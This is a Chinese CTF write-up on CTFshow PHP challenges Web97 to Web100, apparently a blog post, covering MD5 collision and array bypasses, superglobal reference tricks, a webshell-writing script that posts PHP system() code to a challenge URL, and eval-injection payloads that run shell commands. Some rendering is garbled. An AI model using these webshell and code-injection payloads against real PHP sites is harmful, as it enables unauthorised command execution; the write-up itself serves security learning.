CTFshow系列——PHP特性Web97-100

OK,今天晚上也是给大家带来一篇PHP特性的CTF题目。主要是昨天参加了第三届"陇剑杯"比赛 ,所以也是没有给大家及时的更新;

过几天就把这次比赛的Web题以及应急响应的两道题目给大家讲解一下。

文章目录


Web97

话不多说,还是老样子分析代码:

php 复制代码
<?php

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

这里从代码我们可以看到需要我们用POST 请求方式填入两个参数ab,并且这两个的md5值需要一样,才可以输出flag;

代码分析

  • if ($_POST['a'] != $_POST['b'])第一个条件 。它使用 !=(非严格比较),要求 a 和 b 的值不相等;
  • 第二个条件 :它使用 ===(严格比较),要求 a 和 b 经过 md5() 函数处理后的结果严格相等。

方法一:

这个时候,我们就要说到一个知识点了:MD5 碰撞(collision)攻击:

  • MD5 算法存在已知的漏洞,可以找到两个不同的输入字符串,它们经过 MD5 哈希后会产生完全相同的 32 位十六进制字符串。

所以,利用这个特性,我们可以寻找几个md5值相等,但是本身不一样的参数:

bash 复制代码
md5值相同的两个不同参数:

a=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
b=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

所以我们构造的payload为:

bash 复制代码
# payload
a=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&&b=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

方法二:

  • 漏洞利用
    md5() 函数有一个特性:当它接收到一个数组时,会返回 null。
  1. md5(array()) 的结果是 null
  2. null === null 的结果是 true

因此,你可以构造两个不同的数组,它们的 MD5 散列值都是 null,从而满足 md5(_POST\['a'\]) === md5(_POST['b']) 的条件。

  • Payload 构造
    为了满足 _POST\['a'\] != _POST['b'] 的条件,你需要提交两个不同的数组。

在 PHP 中,当通过 POST 方式提交 a[] 和 b[] 时,它们会被解析为两个不同的空数组 array()

所以payload可以为:

bash 复制代码
# payload
a[]=1&b[]=2

同样可以得到flag。


Web98(新题型)

bash 复制代码
Notice: Undefined index: flag in /var/www/html/index.php on line 15

Notice: Undefined index: flag in /var/www/html/index.php on line 16

Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17

<?php

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

根据页面的提示,我们知道flag的位置,但是HTTP_FLAG又是什么东西呢?

代码分析(重要)

这题目是一个典型的 PHP 超全局变量覆盖 漏洞,需要你利用 $_GET 变量来控制程序的执行流程,最终读取 flag。

  1. $_GET?$_GET=&$_POST:'flag';

    • 这是一个三元运算符。

    • 问号前的 _GET 相当于 isset(_GET)。如果 URL 中存在任何 GET 参数,这个条件就为真。

    • 如果条件为真,_GET = \&_POST 会将 _GET 变量引用到 _POST 变量。这意味着,从这行代码之后,任何对 $_GET 的修改实际上都是在修改 $_POST,反之亦然。

    • 如果条件为假(URL 中没有任何 GET 参数),这行代码什么也不做。

  2. $_GET['flag']=='flag'?\$_GET=&$_COOKIE:'flag';

    • 这个三元运算符检查 $_GET['flag'] 是否等于字符串 flag
    • 如果条件为真,_GET = \&_COOKIE 会将 $_GET 引用到 $_COOKIE
  • 关键点:由于第一步已经将 _GET 引用到了 _POST,所以这里的 _GET\['flag'\] 实际上是在检查 _POST['flag'] 的值。
  1. $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';

    • 同样,这个三元运算符检查 $_GET['flag'] 的值。

    • 如果条件为真,KaTeX parse error: Expected 'EOF', got '&' at position 8: _GET = &̲_SERVER 会将 $_GET 引用到 $_SERVER

  • 关键点:由于第二步已经将 _GET 引用到了 _COOKIE,所以这里的 _GET\['flag'\] 实际上是在检查 _COOKIE['flag'] 的值。
  1. highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

    • 这是最后一行,也是最终的判断。它检查 $_GET['HTTP_FLAG'] 的值。

    • 如果 _GET\['HTTP_FLAG'\] 等于 `flag`,就会执行 highlight_file(flag)

  • 最关键点 :由于第三步已经将 _GET 引用到了 _SERVER,所以这里的 $_GET['HTTP_FLAG'] 实际上是在检查 $_SERVER['HTTP_FLAG'] 的值。

流程图

为了方便大家理解,给大家画了个流程图:

理论完成,开始实践:

甚至都不用抓包,flag直接就显示再屏幕上了;

Web99

php 复制代码
<?php

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

代码分析

老样子,先分析代码:

  1. highlight_file(__FILE__);: 显示当前 PHP 脚本的源代码。

  2. $allow = array();: 初始化一个空数组 $allow。

  3. for ($i=36; $i < 0x36d; $i++):

    • 这是一个循环,从 36 迭代到 0x36d(十进制 877)。

    • array_push($allow, rand(1,$i));: 在每次循环中,一个介于 1 和 i 之间的随机数被添加到 ' i 之间的随机数被添加到 ` i之间的随机数被添加到'allow` 数组中。

  4. if(isset($_GET['n']) && in_array($_GET['n'], $allow)):

    • 检查 URL 参数 n 是否存在,并且它的值是否在 $allow 数组中。
  5. file_put_contents($_GET['n'], $_POST['content']);:

    • 如果前面的条件都满足,程序会创建一个文件,文件名是 $allow 数组中的一个随机数,文件内容是 POST 参数 content

网上WP

之后的做法我也是按照网上WP进行操作(不过我问AI,好像还可以时间竞争,但没成功过)

第一步:先创建访问一个新文件2.php,然后POST传入一句话木马方便后续的操作:

第二步:GET传参改为url/2.php(注意不是url/?n=2.php),然后POST进行命令执行(命令执行不会?看我之前的文章即可)就可以了:

第三步:查看flag即可------> 查看源代码

方法二:时间竞争

说实话,我运行代码的时候没有成功过,各位可以试一试:

python 复制代码
import requests
import threading

# url换成自己的url
url = "https://bab65f25-7830-4402-a50f-f15e31f94aa8.challenge.ctf.show/"


def exploit():
    for i in range(1, 878):  # 猜测 rand() 可能的值
        try:
            get_params = {'n': i}
            post_content = {'content': '<?php system("ls -al"); ?>'}

            # 发送请求
            response = requests.post(url, params=get_params, data=post_content, timeout=1)

            # 检查响应,看是否成功写入
            if "system" in response.text:  # 如果看到system这个关键词,说明写入成功
                print(f"File written successfully with number: {i}")
                print(response.text)
        except requests.exceptions.RequestException as e:
            # print(f"Error: {e}")
            pass


# 创建多个线程来并行执行
threads = []
for _ in range(50):  # 启动50个线程来增加命中率
    t = threading.Thread(target=exploit)
    threads.append(t)
    t.start()

for t in threads:
    t.join()

这个脚本会不断地发送请求,尝试所有可能的随机数。一旦命中,你的 Webshell 就会被写入文件,然后你可以通过访问那个文件名来执行命令。


Web100(新题型)

还是老样子,上代码:

php 复制代码
<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?>

代码分析

  1. $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

    • 这行代码检查 v1v2v3 是否为数字 。这里的 is_numeric() 函数有一个特性:它不仅会判断整数和浮点数,也会将只包含数字的字符串判断为 true
  2. if($v0)

    • 只有当 v1v2v3 都通过 is_numeric() 的检查时,代码才会进入这个条件块。
  3. if(!preg_match("/;/", $v2))

    • 这个过滤器检查 v2 中是否不包含 分号 ;
  4. if(preg_match("/;/", $v3))

    • 这个过滤器检查 v3 中是否包含 分号 ;
  5. eval("$v2('ctfshow')$v3");

    • 这是漏洞的核心。eval() 函数会执行其参数中的 PHP 代码。
    • 它的参数由三个部分组成:$v2 的值、硬编码的字符串 ('ctfshow'),以及 $v3 的值。

攻击思路

我们的目标是利用 eval() 函数执行一个可以读取 flag 的命令。为了实现这一点,需要构造 v1v2v3,使其满足所有过滤条件。

  1. 绕过 is_numeric()

    • PHP 的 is_numeric() 函数会将十六进制或科学计数法的字符串判断为数字。
    • 例如,is_numeric("0x123")is_numeric("1e3") 都返回 true
    • 你可以使用这些形式来绕过 is_numeric() 的检查,同时在 v2v3 中传递非数字代码。
  2. 满足正则表达式过滤

    • v2 不能包含分号 ;
    • v3 必须包含分号 ;
  3. 构造 eval() 参数

    • 需要让 eval("$v2('ctfshow')$v3") 形成一个有效的 PHP 函数调用。

网上WP思路(本人菜鸡一个,唉)

然后我尝试了一下自己的payload,报错失败。。

bash 复制代码
?v1=1&v2=system&v3=(ls);
  • 网上方法一
bash 复制代码
# payload
?v1=1&v2=system("cp+ctfshow.php+1.txt")?>&v3=;

因为v2,v3不需要是数字,and运算时v0已经计算完毕了

然后访问/1.txt

根据文件提示将0x2d替换成-得到flag

  • 方法二:

简单拼接:

三个参数 v1 ,v2 ,v3,其中v0 实际上只会去判断v1是否为数字 ,因此v1 = 1234 数字即可

拼接起来就是var_dump($ctfshow)/ ('ctfshow') / ; 可以执行

v2 也可以用其他显示输出的函数

v2=print_r($ctfshow)/&v3=/;

bash 复制代码
# payload
?v1=1234&&v2=print_r($ctfshow)/*&v3=*/;
  • 方法三:

payload为: ?v1=1&v2=system("tac ctfshow.php")/*&v3=*/;

  • /&v3=/ 注释掉V3与('ctfshow') 实际执行结果是v2的内容 先是 system("ls")
    然后才是system("tac ctfshow.php")

运行后屏幕显示的结果:

} var d a l a o A , dalaoA, dalaoA,dalaoB,$flag_is_c5ead3750x2d39510x2d46a50x2d966d0x2d015111cd21db ; class ctfshow{ / # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 20200x2d090x2d21 22:11:52 # @Last Modified by: h1xa # @Date: 20200x2d090x2d21 21:31:23 # @Author: h1xa # 0x2d0x2d coding: utf0x2d8 0x2d*- /*


总结

学海无涯,还是太菜了。

相关推荐
你我约定有三4 小时前
java--泛型
java·开发语言·windows
Suckerbin4 小时前
Basic Pentesting: 1靶场渗透
笔记·安全·web安全·网络安全
小苏兮4 小时前
【C++】类与对象(下)
开发语言·c++·学习
正在走向自律5 小时前
Ubuntu系统下Python连接国产KingbaseES数据库实现增删改查
开发语言·数据库·python·ubuntu·kingbasees·ksycopg2
草莓熊Lotso5 小时前
PyCharm 从入门到高效:安装教程 + 快捷键速查表
开发语言·ide·经验分享·笔记·其他
序属秋秋秋5 小时前
《C++进阶之STL》【set/map 使用介绍】
开发语言·c++·笔记·leetcode·stl·set·map
澡点睡觉5 小时前
【golang长途旅行第38站】工厂模式
开发语言·后端·golang
Dxy12393102165 小时前
Dockerfile文件常用配置详解
开发语言·docker
MATLAB代码顾问5 小时前
MATLAB可以实现的各种智能算法
开发语言·matlab